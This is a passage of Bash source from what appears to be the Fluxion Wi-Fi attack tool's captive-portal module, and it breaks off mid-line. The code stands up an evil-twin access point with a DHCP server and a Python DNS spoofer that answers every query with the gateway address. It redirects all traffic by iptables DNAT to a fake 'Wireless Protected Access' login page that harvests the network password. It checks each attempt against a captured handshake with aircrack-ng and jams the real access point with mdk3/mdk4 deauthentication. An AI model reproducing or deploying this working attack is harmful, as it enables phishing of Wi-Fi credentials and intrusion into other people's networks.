%-44b $CBlu%10s$CClr" + local queryFieldOptionsFormat=$FormatCenterDynamic + + fluxion_header + + echo -e "$FLUXIONVLine $CaptivePortalUIQuery" + + echo + + fluxion_target_show "$FluxionTargetSSID" "$FluxionTargetEncryption" \ + "$FluxionTargetChannel" "$FluxionTargetMAC" "$FluxionTargetMaker" + + io_query_format_fields "" "$queryFieldOptionsFormat\n" \ + sitesIdentifier[@] sitesLanguage[@] + + echo + + local site="${IOQueryFormatFields[0]}" + local siteLanguage="${IOQueryFormatFields[1]}" + local siteIdentifier="${site}_${siteLanguage}" + + case "$site" in + "$CaptivePortalGenericInterfaceOption") + CaptivePortalUserInterface=$siteLanguage + # source "$FLUXIONPath/attacks/Captive Portal/generic/languages/$siteLanguage.lang" + # captive_portal_generic + ;; + "$FLUXIONGeneralBackOption") + captive_portal_unset_user_interface + return 1 + ;; + *) + CaptivePortalUserInterface=$siteIdentifier + ;; + esac +} + + +captive_portal_get_client_IP() { + if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ]; then + MatchedClientIP=$( + cat "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" | \ + sed '/^\s*$/d' | tail -n 1 | head -n 1 + ) + else + MatchedClientIP="unknown" + fi + + echo $MatchedClientIP +} + +captive_portal_get_IP_MAC() { + if [ -f "$CaptivePortalPassLog/$FluxionTargetSSIDClean-$FluxionTargetMAC-IP.log" ] && \ + [ "$(captive_portal_get_client_IP)" != "" ] && \ + [ -f "$FLUXIONWorkspacePath/clients.txt" ]; then + local IP=$(captive_portal_get_client_IP) + local MatchedClientMAC=$( + cat $FLUXIONWorkspacePath/clients.txt | \ + grep $IP | awk '{print $5}' | grep : | head -n 1 | \ + tr [:upper:] [:lower:] + ) + if [ "$(echo $MatchedClientMAC | wc -m)" != "18" ]; then + local MatchedClientMAC="xx:xx:xx:xx:xx:xx" + fi + else + local MatchedClientMAC="unknown" + fi + echo $MatchedClientMAC +} + +captive_portal_get_MAC_brand() { + if [ $(captive_portal_get_IP_MAC) != "" ]; then + local MACManufacturer=$( macchanger -l | \ + grep "$(echo "$(captive_portal_get_IP_MAC)" | cut -d ":" -f -3)" | \ + cut -d " " -f 5-) + if echo "$MACManufacturer" | grep -q x; then + local MACManufacturer="unknown" + fi + else + local MACManufacturer="unknown" + fi + + echo $MACManufacturer +} + + +captive_portal_unset_attack() { + sandbox_remove_workfile \ + "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + sandbox_remove_workfile \ + "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf" + sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php" + sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal" + + # Only reset the AP if one has been defined. + if [ "$CaptivePortalAPService" -a "$(type -t ap_service_reset)" ]; then + ap_service_reset + fi +} + +# Create different settings required for the script +captive_portal_set_attack() { + local -r attackPath="$FLUXIONPath/attacks/Captive Portal" + # Load and set the captive portal user interface to the workspace. + # Check whether it's a custom, generic, or invalid portal. + if [ -d "$attackPath/sites/$CaptivePortalUserInterface.portal" ]; then + cp -r "$attackPath/sites/$CaptivePortalUserInterface.portal" \ + "$FLUXIONWorkspacePath/captive_portal" + elif [ -f "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" ]; then + source "$attackPath/generic/languages/$CaptivePortalUserInterface.lang" + captive_portal_generic + else + return 1 + fi + + find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \ + sed -i -e 's/$APTargetSSID/'"${FluxionTargetSSID//\//\\\/}"'/g; s/$APTargetMAC/'"${FluxionTargetMAC//\//\\\/}"'/g; s/$APTargetChannel/'"${FluxionTargetChannel//\//\\\/}"'/g' {} \; + + + # Add the PHP authenticator scripts, used to verify + # password attempts from users using the web interface. + local authenticatorFiles=("authenticator.php" "check.php" "update.php") + + for authenticatorFile in "${authenticatorFiles[@]}"; do + cp "$FLUXIONPath/attacks/Captive Portal/lib/$authenticatorFile" \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + sed -i -e 's/\$FLUXIONWorkspacePath/'"${FLUXIONWorkspacePath//\//\\\/}"'/g' \ + "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + chmod u+x "$FLUXIONWorkspacePath/captive_portal/$authenticatorFile" + done + + # Add the files for captive portal internet connectivity checks. + cp -r "$FLUXIONPath/attacks/Captive Portal/lib/connectivity responses/" \ + "$FLUXIONWorkspacePath/captive_portal/connectivity_responses" + + + # AP Service: Prepare service for an attack. + if [ "$CaptivePortalAPService" ]; then + ap_service_prep \ + "$CaptivePortalAccessPointInterface" \ + "$CaptivePortalGatewayAddress" \ + "$FluxionTargetSSID" \ + "$FluxionTargetRogueMAC" \ + "$FluxionTargetChannel" + + CaptivePortalAccessInterface=$APServiceAccessInterface + fi + + + # Generate the dhcpd configuration file, which is + # used to provide DHCP service to rogue AP clients. + echo "\ +authoritative; + +default-lease-time 600; +max-lease-time 7200; + +subnet $CaptivePortalGatewayNetwork.0 netmask 255.255.255.0 { + option broadcast-address $CaptivePortalGatewayNetwork.255; + option routers $CaptivePortalGatewayAddress; + option subnet-mask 255.255.255.0; + option domain-name-servers $CaptivePortalGatewayAddress; + + range $CaptivePortalGatewayNetwork.100 $CaptivePortalGatewayNetwork.254; +}\ +" >"$FLUXIONWorkspacePath/dhcpd.conf" + + #create an empty leases file + touch "$FLUXIONWorkspacePath/dhcpd.leases" + + # Generate configuration for a lighttpd web-server. + echo "\ +server.document-root = \"$FLUXIONWorkspacePath/captive_portal/\" + +server.modules = ( + \"mod_access\", + \"mod_alias\", + \"mod_accesslog\", + \"mod_fastcgi\", + \"mod_redirect\", + \"mod_rewrite\" +) + +accesslog.filename = \"$FLUXIONWorkspacePath/lighttpd.log\" + +fastcgi.server = ( + \".php\" => ( + ( + \"bin-path\" => \"/usr/bin/php-cgi\", + \"socket\" => \"/tmp/fluxspace/php.socket\" + ) + ) +) + +server.port = 80 +server.pid-file = \"/var/run/lighttpd.pid\" +# server.username = \"www\" +# server.groupname = \"www\" + +mimetype.assign = ( + \".html\" => \"text/html\", + \".htm\" => \"text/html\", + \".txt\" => \"text/plain\", + \".jpg\" => \"image/jpeg\", + \".png\" => \"image/png\", + \".css\" => \"text/css\" +) + + +server.error-handler-404 = \"/\" + +static-file.exclude-extensions = ( + \".fcgi\", + \".php\", + \".rb\", + \"~\", + \".inc\" +) + +index-file.names = ( + \"index.htm\", + \"index.html\", + \"index.php\" +) +" >"$FLUXIONWorkspacePath/lighttpd.conf" + + # Configure lighttpd's SSL only if we've got a certificate and its key. + if [ -f "$FLUXIONWorkspacePath/server.pem" -a -s "$FLUXIONWorkspacePath/server.pem" ]; then + echo "\ +\$SERVER[\"socket\"] == \":443\" { + ssl.engine = \"enable\" + ssl.pemfile = \"$FLUXIONWorkspacePath/server.pem\" +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi + + if [ "$CaptivePortalConnectivity" = "emulated" ]; then + echo "\ +# The following will emulate Apple's and Google's internet connectivity checks. +# This should help with no-internet-connection warnings in some devices. +\$HTTP[\"host\"] == \"captive.apple.com\" { # Respond with Apple's captive response. + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Apple/\" +} + +# Respond with Google's captive response on certain domains. +# Domains: www.google.com, clients[0-9].google.com, connectivitycheck.gstatic.com, connectivitycheck.android.com, android.clients.google.com, alt[0-9]-mtalk.google.com, mtalk.google.com +\$HTTP[\"host\"] =~ \"((www|(android\.)?clients[0-9]*|(alt[0-9]*-)?mtalk)\.google|connectivitycheck\.(android|gstatic))\.com\" { + server.document-root = \"$FLUXIONWorkspacePath/captive_portal/connectivity_responses/Google/\" + url.rewrite-once = ( \"^/generate_204\$\" => \"generate_204.php\" ) +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + else + echo "\ +# Redirect all traffic to the captive portal when not emulating a connection. +\$HTTP[\"host\"] != \"captive.gateway.lan\" { + url.redirect-code = 302 + url.redirect = ( + \"^/(.*)\" => \"http://captive.gateway.lan/\", + ) +} +" >>"$FLUXIONWorkspacePath/lighttpd.conf" + fi + + # Create a DNS service with python, forwarding all traffic to gateway. + echo "\ +import sys, traceback, socket +# NOTICE: This DNS server works with python 2 and python 3 + +class DNSQuery: + def __init__(self, data): + self.data = data + self.domain = '' + + queryType = (ord(data[2]) >> 3) & 15 + + # Only handle basic requests. + if queryType != 0: + print('Ignoring Query: Non-spoofed type.') + return + + domainStart = 13 # Skip length byte and start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + while domainLength != 0: + self.domain += data[domainStart : domainStart + domainLength] + '.' + + domainStart += domainLength + 1 # Skip the length byte & start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + def response(self, ipv4): + if not self.domain: return '' + + packet = '' + + packet += self.data[ :2] + '\x81\x80' + packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet += self.data[12:] + packet += '\xc0\x0c' + packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + + # Convert string IPv4 quads to binary values (bytes). + packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) + + return packet + +if __name__ == '__main__': + targetIPv4 = '$CaptivePortalGatewayAddress' + + print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) + + link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + link.bind(('',53)) + + try: + while True: + clientData, clientIPv4 = link.recvfrom(1024) + + queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') + + query = DNSQuery(queryData) + + response = query.response(targetIPv4) + + if sys.version_info > (3, 0): + # Someone that knows more about python and how it does byte-handling, + # please fix the following shitfest and make it a bit more elegant. + # Do what? A raw conversion of the \"response\" string to bytes. + responseHex = '' + for xx in response: + responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) + + response = bytearray.fromhex(responseHex) + + link.sendto(response, clientIPv4) + + print('Request: %s -> %s' % (query.domain, targetIPv4)) + + except KeyboardInterrupt: + print('INTERRUPT: Stopping.') + link.close() + + except Exception as error: + print('EXCEPTION: Stopping!') + print(error) + print(traceback.format_exc()) + link.close() +" >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + + chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" + + local -r targetSSIDCleanNormalized=${FluxionTargetSSIDClean//"/\\"} + # Attack arbiter script + echo "\ +#!/usr/bin/env bash + +signal_stop_attack() { + kill -s SIGABRT $$ # Signal STOP ATTACK + handle_abort_authenticator +} + +handle_abort_authenticator() { + AuthenticatorState=\"aborted\" +} + +trap signal_stop_attack SIGINT SIGHUP +trap handle_abort_authenticator SIGABRT + +echo > \"$FLUXIONWorkspacePath/candidate.txt\" +echo -n \"0\"> \"$FLUXIONWorkspacePath/hit.txt\" + +# Assure we've got a directory to store net logs into. +if [ ! -d \"$CaptivePortalNetLog\" ]; then + mkdir -p \"$CaptivePortalNetLog\" +fi + +# Assure we've got a directory to store pwd logs into. +if [ ! -d \"$CaptivePortalPassLog\" ]; then + mkdir -p \"$CaptivePortalPassLog\" +fi + +# Make console cursor invisible, cnorm to revert. +tput civis +clear + +m=0 +h=0 +s=0 +i=0 + +AuthenticatorState=\"running\" + +startTime=\$(date +%s) + +while [ \$AuthenticatorState = \"running\" ]; do + let s=\$(date +%s)-\$startTime + + d=\`expr \$s / 86400\` + s=\`expr \$s % 86400\` + h=\`expr \$s / 3600\` + s=\`expr \$s % 3600\` + m=\`expr \$s / 60\` + s=\`expr \$s % 60\` + + if [ \"\$s\" -le 9 ]; then + is=\"0\" + else + is= + fi + + if [ \"\$m\" -le 9 ]; then + im=\"0\" + else + im= + fi + + if [ \"\$h\" -le 9 ]; then + ih=\"0\" + else + ih= + fi + + if [ -f \"$FLUXIONWorkspacePath/pwdattempt.txt\" -a -s \"$FLUXIONWorkspacePath/pwdattempt.txt\" ]; then + # Save any new password attempt. + cat \"$FLUXIONWorkspacePath/pwdattempt.txt\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\" + + # Clear logged password attempt. + echo -n > \"$FLUXIONWorkspacePath/pwdattempt.txt\" + fi + + if [ -f \"$FLUXIONWorkspacePath/ip_hits\" -a -s \"$FLUXIONWorkspacePath/ip_hits.txt\" ]; then + cat \"$FLUXIONWorkspacePath/ip_hits\" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo \" \" >> \"$CaptivePortalPassLog/$targetSSIDCleanNormalized-$FluxionTargetMAC-IP.log\" + echo -n > \"$FLUXIONWorkspacePath/ip_hits\" + fi + +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " + if [ -f \"$FLUXIONWorkspacePath/candidate_result.txt\" ]; then + # Check if we've got the correct password by looking for anything other than \"Passphrase not in\". + if ! aircrack-ng -b $FluxionTargetMAC -w \"$FLUXIONWorkspacePath/candidate.txt\" \"$CaptivePortalHashPath\" | grep -qi \"Passphrase not in\"; then + echo \"2\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + + sleep 1 + break + + else + echo \"1\" > \"$FLUXIONWorkspacePath/candidate_result.txt\" + + fi + fi" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") + echo " + readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host) + + echo + echo -e \" ACCESS POINT:\" + printf \" SSID ...........: $CWht%s$CClr\\n\" \"$staticSSID\" + echo -e \" MAC ............: $CYel$FluxionTargetMAC$CClr\" + echo -e \" Channel ........: $CWht$FluxionTargetChannel$CClr\" + echo -e \" Vendor .........: $CGrn${FluxionTargetMaker:-UNKNOWN}$CClr\" + echo -e \" Runtime ........: $CBlu\$ih\$h:\$im\$m:\$is\$s$CClr\" + echo -e \" Attempts .......: $CRed\$(cat $FLUXIONWorkspacePath/hit.txt)$CClr\" + echo -e \" Clients ........: $CBlu\$(cat $FLUXIONWorkspacePath/clients.txt | grep DHCPACK | awk '{print \$5}' | sort| uniq | wc -l)$CClr\" + echo + echo -e \" CLIENTS ONLINE:\" + + x=0 + for client in \"\${DHCPClients[@]}\"; do + x=\$((\$x+1)) + + ClientIP=\$(echo \$client| cut -d \" \" -f2) + ClientMAC=\$(nmap -PR -sn -n \$ClientIP 2>&1 | grep -i mac | awk '{print \$3}' | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$ClientMAC| wc -m)\" != \"18\" ]; then + ClientMAC=\"xx:xx:xx:xx:xx:xx\" + fi + + ClientMID=\$(macchanger -l | grep \"\$(echo \"\$ClientMAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$ClientMAC| grep -q x; then + ClientMID=\"unknown\" + fi + + ClientHostname=\$(grep \$ClientIP \"$FLUXIONWorkspacePath/clients.txt\" | grep DHCPACK | sort | uniq | head -1 | grep '(' | awk -F '(' '{print \$2}' | awk -F ')' '{print \$1}') + + echo -e \" $CGrn \$x) $CRed\$ClientIP $CYel\$ClientMAC $CClr($CBlu\$ClientMID$CClr) $CGrn \$ClientHostname$CClr\" + done + + echo -ne \"\033[K\033[u\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " + sleep 1" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + echo " +done + +if [ \$AuthenticatorState = \"aborted\" ]; then exit 1; fi + +clear +echo \"1\" > \"$FLUXIONWorkspacePath/status.txt\" + +# sleep 7 +sleep 3 + +signal_stop_attack + +echo \" +FLUXION $FLUXIONVersion.$FLUXIONRevision + +SSID: \\\"$staticSSID\\\" +BSSID: $FluxionTargetMAC ($FluxionTargetMaker) +Channel: $FluxionTargetChannel +Security: $FluxionTargetEncryption +Time: \$ih\$h:\$im\$m:\$is\$s +Password: \$(cat $FLUXIONWorkspacePath/candidate.txt) +Mac: $(captive_portal_get_IP_MAC) ($(captive_portal_get_MAC_brand)) +IP: $(captive_portal_get_client_IP) +\" >\"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log\"" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + + if [ $CaptivePortalAuthenticatorMode = "hash" ]; then + echo " +aircrack-ng -a 2 -b $FluxionTargetMAC -0 -s \"$CaptivePortalHashPath\" -w \"$FLUXIONWorkspacePath/candidate.txt\" && echo && echo -e \"The password was saved in "$CRed"$CaptivePortalNetLog/$targetSSIDCleanNormalized-$FluxionTargetMAC.log"$CClr"\"\ +" >>"$FLUXIONWorkspacePath/captive_portal_authenticator.sh" + fi + + chmod +x "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" +} + +# Generate the contents for a generic web interface +captive_portal_generic() { + if [ ! -d "$FLUXIONWorkspacePath/captive_portal" ]; then + mkdir "$FLUXIONWorkspacePath/captive_portal" + fi + + base64 -d "$FLUXIONPath/attacks/Captive Portal/generic/assets" >"$FLUXIONWorkspacePath/file.zip" + + unzip "$FLUXIONWorkspacePath/file.zip" -d "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/file.zip" + + echo "\ + + + + + + + Wireless Protected Access: Verifying + + + + + + + + + + + +
+
+

$DIALOG_WEB_OK

+
+
+ +" >"$FLUXIONWorkspacePath/captive_portal/final.html" + + echo "\ + + + + + + + Wireless Protected Access: Key Mismatch + + + + + + + + + + + + + +
+
+

$DIALOG_WEB_ERROR

+ $DIALOG_WEB_BACK +
+
+ +" >"$FLUXIONWorkspacePath/captive_portal/error.html" + + echo "\ + + + + + + + Wireless Protected Access: Login + + + + + + + + + + + + + +
+
+
+
+
+
+
$FluxionTargetSSID ($FluxionTargetMAC)
+ +
+
+
+ +
+
+
+ + +
+ +
+
+
+
+ + + + + +" >"$FLUXIONWorkspacePath/captive_portal/index.html" +} + +captive_portal_unset_routes() { + if [ -f "$FLUXIONIPTablesBackup" ]; then + iptables-restore <"$FLUXIONIPTablesBackup" \ + &> $FLUXIONOutputDevice + else + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + fi + + # Restore system's original forwarding state + if [ -f "$FLUXIONWorkspacePath/ip_forward" ]; then + sysctl -w net.ipv4.ip_forward=$( + cat "$FLUXIONWorkspacePath/ip_forward" + ) &> $FLUXIONOutputDevice + sandbox_remove_workfile "$FLUXIONWorkspacePath/ip_forward" + fi + + ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null +} + +# Set up DHCP / WEB server +# Set up DHCP / WEB server +captive_portal_set_routes() { + # Give an address to the gateway interface in the rogue network. + # This makes the interface accessible from the rogue network. + ip addr add $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface + + # Save the system's routing state to restore later. + cp "/proc/sys/net/ipv4/ip_forward" "$FLUXIONWorkspacePath/ip_forward" + + # Activate system IPV4 packet routing/forwarding. + sysctl -w net.ipv4.ip_forward=1 &>$FLUXIONOutputDevice + + iptables --flush + iptables --table nat --flush + iptables --delete-chain + iptables --table nat --delete-chain + iptables -P FORWARD ACCEPT + + iptables -A INPUT -p tcp --dport 443 -j ACCEPT + iptables -A INPUT -p tcp --dport 80 -j ACCEPT + iptables -A INPUT -p udp --dport 53 -j ACCEPT + iptables -A INPUT -p udp --dport 67 -j ACCEPT + + iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \ + --to-destination $CaptivePortalGatewayAddress:80 + iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \ + --to-destination $CaptivePortalGatewayAddress:443 + iptables -t nat -A POSTROUTING -j MASQUERADE +} + +captive_portal_stop_interface() { + captive_portal_unset_routes + + if [ "$CaptivePortalAPService" ]; then + ap_service_stop + fi +} + +captive_portal_start_interface() { + if [ "$CaptivePortalAPService" ]; then + echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice" + ap_service_start + else + fluxion_header + + echo -e "$FLUXIONVLine Configuration for external access point device:" + echo + + fluxion_target_show + + echo -e "$FLUXIONVLine IPv4 Address: ${CaptivePortalGatewayAddress%.*}.2/24" + echo -e "$FLUXIONVLine IPv6 Address: Disabled" + echo -e "$FLUXIONVLine DHCP Server: $CaptivePortalGatewayAddress" + echo -e "$FLUXIONVLine DNS Server: $CaptivePortalGatewayAddress" + echo + + echo -e "$FLUXIONVLine ${CYel}Assure external AP device is available & configured before continuing!${CClr}" + read -n1 -p "Press any key to continue... " bullshit + fi + + echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice" + captive_portal_set_routes & + sleep 3 + + fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice + fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice +} + + +# ============================================================ # +# =================== < Parse Parameters > =================== # +# ============================================================ # +if [ ! "$CaptivePortalCLIArguments" ]; then + if ! CaptivePortalCLIArguments=$( + getopt --options="a:j:s:c:u:h:" \ + --longoptions="ap:,jammer:,ssl:,connectivity:,ui:,hash:" \ + --name="Captive Portal V$FLUXIONVersion.$FLUXIONRevision" -- "$@" + ); then + echo -e "${CRed}Aborted$CClr, parameter error detected..." + sleep 5 + fluxion_handle_exit + fi + + declare -r CaptivePortalCLIArguments=$CaptivePortalCLIArguments + + eval set -- "$CaptivePortalCLIArguments" # Set environment parameters. +fi + + +# ============================================================ # +# ============= < Argument Loaded Configurables > ============ # +# ============================================================ # +while [ "$1" != "" -a "$1" != "--" ]; do + case "$1" in + -a|--ap) + CaptivePortalAccessPointInterfaceOriginal=$2; shift;; + -j|--jammer) + CaptivePortalJammerInterfaceOriginal=$2; shift;; + -s|--ssl) + CaptivePortalSSLCertificatePath=$2; shift;; + -c|--connectivity) + CaptivePortalConnectivity=$2; shift;; + -u|--ui) + CaptivePortalUserInterface=$2; shift;; + -h|--hash) + # Assuming hash auth-mode here (the only one available as of now). + # WARNING: If more auth-modes are added, assume hash auth-mode here! + CaptivePortalHashPath=$2; shift;; + esac + shift # Shift new parameters +done + + +# ============================================================ # +# ===================== < Fluxion Hooks > ==================== # +# ============================================================ # +attack_targetting_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done +} + +attack_tracking_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done + echo "" # This enables the Skip option. +} + +unprep_attack() { + CaptivePortalState="Not Ready" + + captive_portal_unset_attack + captive_portal_unset_user_interface + captive_portal_unset_connectivity + captive_portal_unset_certificate + captive_portal_unset_authenticator + captive_portal_unset_ap_interface + captive_portal_unset_jammer_interface +} + +prep_attack() { + local sequence=( + "set_jammer_interface" + "set_ap_interface" + "set_ap_service" + "set_authenticator" + "set_certificate" + "set_connectivity" + "set_user_interface" + "set_attack" + ) + + if ! fluxion_do_sequence captive_portal sequence[@]; then + return 1 + fi + + CaptivePortalState="Ready" +} + +load_attack() { + local -r configurationPath=$1 + + local configuration + readarray -t configuration < <(more "$configurationPath") + + CaptivePortalJammerInterfaceOriginal=${configuration[0]} + CaptivePortalAccessPointInterfaceOriginal=${configuration[1]} + CaptivePortalAPService=${configuration[2]} + CaptivePortalAuthenticatorMode=${configuration[3]} + CaptivePortalSSL=${configuration[4]} + CaptivePortalConnectivity=${configuration[5]} + CaptivePortalUserInterface=${configuration[6]} + + # Hash authenticator mode configuration. + CaptivePortalHashPath=${configuration[7]} + + # Target hash information for verification. + local -r targetHashSSID=${configuration[8]} + local -r targetHashMAC=${configuration[9]} + + # Assure hash is relevant for fluxion's current target. + # If the hash is no longer relevant, clear to force reset. + if [ \ + "$targetHashSSID" != "$FluxionTargetSSID" -o \ + "$targetHashMAC" != "$FluxionTargetMAC" ]; then + CaptivePortalHashPath="" + fi +} + +save_attack() { + local -r configurationPath=$1 + + # Store/overwrite attack configuration for pause & resume. + # Order: JammerWI, APWI, APServ, AuthMode, SSL, Conn, UI + echo "$CaptivePortalJammerInterfaceOriginal" > "$configurationPath" + echo "$CaptivePortalAccessPointInterfaceOriginal" >> "$configurationPath" + echo "$CaptivePortalAPService" >> "$configurationPath" + echo "$CaptivePortalAuthenticatorMode" >> "$configurationPath" + echo "$CaptivePortalSSL" >> "$configurationPath" + echo "$CaptivePortalConnectivity" >> "$configurationPath" + echo "$CaptivePortalUserInterface" >> "$configurationPath" + + # Hash authenticator mode configuration. + echo "$CaptivePortalHashPath" >> "$configurationPath" + + # Target to verify validity of hash on restore. + echo "$FluxionTargetSSID" >> "$configurationPath" + echo "$FluxionTargetMAC" >> "$configurationPath" +} + +stop_attack() { + # Attempt to find PIDs of any running authenticators. + local authenticatorPID=$(ps a | grep -vE "xterm|grep" | grep captive_portal_authenticator.sh | awk '{print $1}') + + # Signal any authenticator to stop authentication loop. + if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi + + if [ "$CaptivePortalJammerServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalJammerServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalJammerServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + + # Kill captive portal web server log viewer. + if [ "$CaptivePortalWebServiceXtermPID" ]; then + kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice + CaptivePortalWebServiceXtermPID="" # Clear service PID + fi + + # Kill captive portal web server. + if [ "$CaptivePortalWebServicePID" ]; then + kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice + CaptivePortalWebServicePID="" # Clear service PID + fi + + # Kill python DNS service if one is found. + if [ "$CaptivePortalDNSServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDNSServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDNSServiceXtermPID="" # Clear parent PID + fi + + # Kill DHCP service. + if [ "$CaptivePortalDHCPServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID \ + 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDHCPServiceXtermPID="" # Clear parent PID + fi + sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" + + captive_portal_stop_interface + + # Start the network-manager if it's disabled. + if ! systemctl status network-manager.service &> /dev/null; then + systemctl start network-manager.service + fi + + CaptivePortalState="Stopped" +} + +start_attack() { + if [ "$CaptivePortalState" = "Running" ]; then return 0; fi + if [ "$CaptivePortalState" != "Ready" ]; then return 1; fi + CaptivePortalState="Running" + + stop_attack + + # Disable the network-manager if it's available. + if systemctl status network-manager.service &> /dev/null; then + systemctl stop network-manager.service + fi + + captive_portal_start_interface + + echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" + xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" \ + -title "FLUXION AP DHCP Service" -e \ + "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $CaptivePortalAccessInterface 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & + # Save parent's pid, to get to child later. + CaptivePortalDHCPServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" \ + -title "FLUXION AP DNS Service" -e \ + "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + # Save parent's pid, to get to child later. + CaptivePortalDNSServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" + lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" \ + &> $FLUXIONOutputDevice + CaptivePortalWebServicePID=$! + + xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" \ + -title "FLUXION Web Service" -e \ + "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & + CaptivePortalWebServiceXtermPID=$! + + echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" + echo -e "$FluxionTargetMAC" >"$FLUXIONWorkspacePath/mdk3_blacklist.lst" + + if ! [ -x "$(command -v mdk4)" ]; then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk3 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + else + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" \ + -title "FLUXION AP Jammer Service [$FluxionTargetSSID]" -e \ + "mdk4 $CaptivePortalJammerInterface d -c $FluxionTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + # Save parent's pid, to get to child later. + CaptivePortalJammerServiceXtermPID=$! + fi + + echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" + xterm -hold 